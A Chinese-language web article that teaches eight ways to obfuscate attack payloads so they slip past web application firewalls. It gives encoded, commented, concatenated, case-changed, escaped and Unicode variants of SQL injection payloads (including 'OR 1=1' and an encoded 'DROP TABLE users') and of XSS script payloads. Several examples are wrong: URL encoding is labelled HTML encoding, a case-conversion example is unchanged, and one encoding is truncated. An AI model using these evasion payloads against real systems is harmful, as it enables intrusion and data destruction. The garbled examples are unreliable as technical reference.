狠狠色丁香婷婷综合尤物/久久精品综合一区二区三区/中国有色金属学报/国产日韩欧美在线观看 - 国产一区二区三区四区五区tv

LOGO OA教程 ERP教程 模切知識交流 PMS教程 CRM教程 開發文檔 其他文檔  
 
網站管理員

八種繞過WAF防火墻的Payload混淆技術

admin
2024年6月15日 18:47 本文熱度 1419

摘要

Payload混淆技術是一種用來繞過Web應用防火墻(WAF)檢測的方法。WAF的主要功能是通過分析HTTP請求和響應中的內容來檢測和阻止惡意流量,比如SQL注入、跨站腳本(XSS)攻擊等。Payload混淆技術的原理是通過修改攻擊載荷(payload)的外觀,使其難以被WAF正確識別,但在目標應用處理時依然能夠被正常執行。



HTML編碼混淆技術


HTML編碼是一種將特殊字符轉換為其HTML實體表示的方法。HTML實體是一種以字符名稱或字符代碼表示的字符,使得這些字符可以安全地嵌入HTML文檔中,而不會被解析為HTML標簽或其他HTML特殊字符。

常見的HTML編碼如下:

  • & 變為 &

  • < 變為 &lt;

  • > 變為 &gt;

  • " 變為 &quot;

  • ' 變為 &#x27;&apos;

  • / 變為 &#x2F;

使用HTML編碼進行Payload混淆的主要原理是,通過將攻擊載荷中的特殊字符轉換為其HTML實體形式,使得WAF難以準確解析和檢測到這些字符。盡管這些編碼形式在瀏覽器解析時會恢復為原始字符,但在經過WAF時,由于編碼后的形式與實際字符不同,WAF可能無法正確識別和阻止這些載荷。

示例1:XSS攻擊

例如: <script>alert(1)</script>可以使用HTML編碼來混淆XSS Payload, 混淆后的HTML編碼如下:

&lt;script&gt;alert(1)&lt;/script&gt;

此編碼將特殊字符替換為HTML 實體等效項,從而使安全過濾器更難識別其特征。

示例2:SQL注入

一個SQL注入攻擊載荷是:SELECT * FROM users WHERE username='admin' OR 1=1 --'。如果使用HTML編碼進行混淆,可以將其編碼為:

`SELECT%20*%20FROM%20users%20WHERE%20username%3D%27admin%27%20OR%201%3D1%20--%27'`

這種情況下,雖然數據庫在接收到查詢時會將其解析為原始SQL語句,但WAF可能會因為編碼形式不同而無法正確識別和阻止。



URL編碼混淆技術


URL編碼(也稱為百分號編碼)是一種將數據轉換為可以在URL中安全傳輸的格式的方法。由于URL只能包含某些字符,因此URL編碼用于將不安全的字符轉換為允許的ASCII字符。

  • 普通字符:字母 (A-Z, a-z)、數字 (0-9) 和某些特殊字符(如 -, _, .~)可以直接在URL中使用,不需要編碼。

  • 特殊字符:其他字符(包括空格、引號、換行符等)需要編碼。編碼方式是將字符轉換為其對應的ASCII值,然后以百分號 (%) 加上兩位十六進制數字表示。例如,空格編碼為 %20,引號編碼為 %22

常見的URL編碼示例:

  • 空格 () 編碼為 %20

  • 引號 (") 編碼為 %22

  • 斜杠 (/) 編碼為 %2F

  • 加號 (+) 編碼為 %2B

黑客通常使用 URL 編碼和十六進制編碼等方法對其有效payload進行編碼。一旦有效載荷到達目標,就會對其進行解碼以執行攻擊。例如,'; DROP TABLE users; --可以將簡單的 SQL 注入有效payload編碼為其十六進制表示形式,然后由服務器端對其進行解碼:

%27%3B%20%44%52%4F%50%20%54%41%42%4C%45%20%75%73%65%72%73%3B%20%2D%2D



雙重URL編碼混淆技術


雙重URL編碼(Double URL Encoding)是一種更復雜的編碼技術,其中對字符進行了兩次URL編碼。這種技術常用于繞過某些Web應用防火墻(WAF)或其他安全機制,因為兩次編碼后的字符串更難以被識別和解析。

首先,回顧一下單次URL編碼。URL編碼是將特殊字符轉換為其ASCII值的十六進制表示,并在前面加上百分號 (%) 。例如:

  • 空格 () 編碼為 %20

  • < 編碼為:%3C

  • >編碼為:%3E

雙重URL編碼則是對已經進行了一次URL編碼的字符串,再進行一次URL編碼。具體步驟如下:

1、第一次URL編碼:<變為:%3C

2、第二次URL編碼: %變為:%25, 因此%3C變成了:%253C

最終,字符<經過雙重URL編碼后變為:%253C

雙重URL編碼可以用來繞過一些WAF,因為雙重編碼后的payload更難被識別為攻擊。以下是一些示例:

示例1:XSS攻擊

一個簡單的XSS攻擊payload是 <script>alert('XSS')</script>。使用雙重URL編碼可以將其混淆為:

1、第一次URL編碼:<script>alert('XSS')</script>變為:%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E

2、第二次URL編碼:%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E 變為:%253Cscript%253Ealert%2528%2527XSS%2527%2529%253C%252Fscript%253E

最終的payload內容為:%253Cscript%253Ealert%2528%2527XSS%2527%2529%253C%252Fscript%253E

示例2:SQL注入

一個SQL注入攻擊payload是:SELECT * FROM users WHERE username='admin' OR 1=1 --'。使用雙重URL編碼可以將其混淆為:

1、第一次URL編碼:SELECT * FROM users WHERE username='admin' OR 1=1 --'變成了:SELECT%20*%20FROM%20users%20WHERE%20username%3D%27admin%27%20OR%201%3D1%20--%2

2、第二次URL編碼:SELECT%20*%20FROM%20users%20WHERE%20username%3D%27admin%27%20OR%201%3D1%20--%27變成了:

SELECT%2520*%2520FROM%2520users%2520WHERE%2520username%253D%2527admin%2527%2520OR%25201%253D1%2520--%2527

最終的Payload為:SELECT%2520*%2520FROM%2520users%2520WHERE%2520username%253D%2527admin%2527%2520OR%25201%253D1%2520--%2527



字符替換或添加注釋混淆技術


在使用字符替換或添加注釋進行Payload混淆時,攻擊者通過在原始攻擊載荷中插入無害字符或注釋符號來擾亂WAF的解析規則,從而繞過防護。

一、字符替換

字符替換技術通過用等價字符或字符串來替換原始載荷中的某些部分,使得WAF難以匹配到已知的攻擊模式。

示例1:SQL注入

原始SQL注入Payload如下:

SELECT * FROM users WHERE username='admin' OR 1=1 --'

使用字符替換技術,可以將關鍵字替換為等價表達方式:

SELECT * FROM users WHERE username='admin' OR '1'='1' --'

進一步替換為:

SELEC/**/T * FR/**/OM users WHERE user/**/name='admin' OR '1'='1' --'

在這個示例中,SELECT 被替換為 SELEC/**/TFROM 被替換為 FR/**/OM,這樣使得WAF更難識別這些關鍵字。

示例2:XSS攻擊

原始XSS攻擊Payload如下:

<script>alert('XSS')</script>

使用字符替換技術,可以將標簽和函數拆分:

<scri"+"pt>alert('XSS')</scr"+"ipt>

或:

<scri<!--comment-->pt>alert('XSS')</scri<!--comment-->pt>

二、添加注釋

通過在載荷中插入注釋符號,進一步擾亂WAF的解析規則。注釋符號可以用來分隔關鍵字,使WAF無法正確識別。

示例1:SQL注入

原始SQl注入Payload:

SELECT * FROM users WHERE username='admin' OR 1=1 --'

使用添加注釋技術,可以在關鍵字之間添加SQL注釋

SELECT/*comment*/ * FROM/*comment*/ users WHERE/*comment*/ username='admin'/*comment*/ OR 1=1 --'

示例2:XSS攻擊

原始XSS攻擊Payload:

<script>alert('XSS')</script>

使用添加注釋技術,可以在標簽和內容之間添加HTML注釋:

<script><!--comment-->alert('XSS')<!--comment--></script>



字符串連接混淆技術


字符串連接是一種常見的Payload混淆技術,通過將惡意字符串分割成多個部分,并使用不同的方式重新組合在一起,使得WAF難以檢測到完整的攻擊Payload。

示例1:SQL注入

原始SQL注入Payload:

SELECT * FROM users WHERE username='admin' OR 1=1 --'

使用字符串連接技術,可以將這個載荷分割并重新組合:

SELEC' + 'T * FR' + 'OM users WHERE user' + 'name='admin' OR 1=1 --'

或者使用SQL拼接函數(不同數據庫有不同的字符串拼接方式):

SELECT * FROM users WHERE username='ad'||'min' OR 1=1 --'SELECT * FROM users WHERE username=CONCAT('ad','min') OR 1=1 --'

示例2:XSS攻擊

原始XSS攻擊Payload:

<script>alert('XSS')</script>

使用字符串連接技術,可以將這段載荷分割并重新組合:

<scr'+'ipt>alert('XSS')</scr'+'ipt>

或者使用JavaScript的字符串拼接:

<scri' + 'pt>alert("XSS")</scri' + 'pt>



大小寫轉換混淆技術


該技術是一種通過改變關鍵字或標識符的大小寫來混淆Payload的技術。許多編程語言和數據庫查詢語言(如SQL)對關鍵字大小寫不敏感(即大小寫不敏感),因此攻擊者可以利用這種特性改變載荷中的大小寫,從而繞過Web應用防火墻(WAF)的檢測。

示例1:SQL注入

原始SQL注入Payload:

SELECT * FROM users WHERE username='admin' OR 1=1 --'

使用大小寫轉換技術, 可以將關鍵字大小寫變換:

SeLeCt * FrOm users WhErE username='admin' Or 1=1 --'

進一步變換:

sEleCt * frOM users wHErE username='admin' OR 1=1 --'

示例2:XSS攻

原始XSS攻擊Payload:

<script>alert('XSS')</script>

經過大小寫轉換,可以將標簽和函數名大小寫變換:

<script>alert('XSS')</script>

進一步變換:

<script>aLeRt('XSS')</script>



轉義字符混淆技術


使用轉義字符(Escape Characters)是一種常見的Payload混淆技術,通過在特殊字符前添加轉義符號,使得這些字符在解析時具有不同的含義,從而繞過Web應用防火墻(WAF)或其他安全機制的檢測。

轉義字符是用來表示某些特殊字符或控制字符的序列。通常,一個轉義字符由一個反斜杠 (\) 開頭,緊跟一個或多個字符。轉義字符廣泛應用于編程語言、數據庫查詢語言以及各種協議中。

轉義字符的常見應用:

  • 新行\n

  • 制表符\t

  • 反斜杠\\

  • 單引號\'

  • 雙引號\"

  • 十六進制字符\xhh(其中 hh 是十六進制數)

  • Unicode字符\uhhhh(其中 hhhh 是Unicode碼點的十六進制數)

通過在攻擊Payload中插入轉義字符,可以改變Payload的外觀,使得WAF難以匹配已知的攻擊模式。在解析和執行時,轉義字符會恢復為原始字符,從而使得攻擊Payload能夠正常工作。

示例1:SQL注入

原始SQL注入Payload:

SELECT * FROM users WHERE username='admin' OR 1=1 --'

使用轉義字符,可以在單引號前插入反斜杠:

SELECT * FROM users WHERE username=\'admin\' OR 1=1 --\'

或者使用雙引號和反斜杠:

SELECT * FROM users WHERE username="admin\" OR \"1\"=\"1\" --"

示例2:XSS攻擊

原始XSS攻擊Payload:

<script>alert('XSS')</script>

使用轉義字符,可以在雙引號和單引號前插入反斜杠:

<script>alert(\'XSS\')</script>

或者在HTML實體編碼中使用反斜杠:

<script>alert(&#39;XSS&#39;)</script>



Unicode混淆技術


使用Unicode作為Payload混淆技術是一種通過將常見字符轉換為其Unicode編碼形式,使得WAF難以檢測到惡意Payload的方法。Unicode編碼可以用來表示幾乎所有的字符,因此它在混淆攻擊Payload時非常有效。

什么是Unicode?

Unicode是一種字符編碼標準,它為所有的字符提供唯一的編號,可以表示世界上幾乎所有的文字系統中的字符。常見的Unicode表示形式有:

  • UTF-8:一種變長編碼,每個字符用1到4個字節表示。

  • UTF-16:一種變長編碼,每個字符用2或4個字節表示。

  • UTF-32:一種固定長度編碼,每個字符用4個字節表示。

通過將攻擊載荷中的字符轉換為Unicode編碼形式,可以繞過WAF的檢測。例如,常見的SQL關鍵字和HTML標簽在轉換為Unicode后,可能無法被簡單的字符串匹配規則識別。

示例1:SQL注入

原始SQL注入Payload:

SELECT * FROM users WHERE username='admin' OR 1=1 --'

使用Unicode編碼進行混淆,可以將關鍵字和符號轉換為Unicode形式:

\u0053\u0045\u004C\u0045\u0043\u0054 * \u0046\u0052\u004F\u004D users \u0057\u0048\u0045\u0052\u0045 username=\u0027admin\u0027 \u004F\u0052 1=1 --\u0027

或者使用十六進制表示形式:

\x53\x45\x4C\x45\x43\x54 * \x46\x52\x4F\x4D users \x57\x48\x45\x52\x45 username=\x27admin\x27 \x4F\x52 1=1 --\x27

示例2:XSS攻擊

原始XSS攻擊Payload:

<script>alert('XSS')</script>

使用Unicode編碼進行混淆,可以將標簽和內容轉換為Unicode形式:

\u003Cscript\u003Ealert(\u0027XSS\u0027)\u003C/script\u003E

或者使用十六進制表示形式:

\x3Cscript\x3Ealert(\x27XSS\x27)\x3C/script\x3E

該文章在 2024/6/15 18:47:34 編輯過
關鍵字查詢
相關文章
正在查詢...
點晴ERP是一款針對中小制造業的專業生產管理軟件系統,系統成熟度和易用性得到了國內大量中小企業的青睞。
點晴PMS碼頭管理系統主要針對港口碼頭集裝箱與散貨日常運作、調度、堆場、車隊、財務費用、相關報表等業務管理,結合碼頭的業務特點,圍繞調度、堆場作業而開發的。集技術的先進性、管理的有效性于一體,是物流碼頭及其他港口類企業的高效ERP管理信息系統。
點晴WMS倉儲管理系統提供了貨物產品管理,銷售管理,采購管理,倉儲管理,倉庫管理,保質期管理,貨位管理,庫位管理,生產管理,WMS管理系統,標簽打印,條形碼,二維碼管理,批號管理軟件。
點晴免費OA是一款軟件和通用服務都免費,不限功能、不限時間、不限用戶的免費OA協同辦公管理系統。
Copyright 2010-2025 ClickSun All Rights Reserved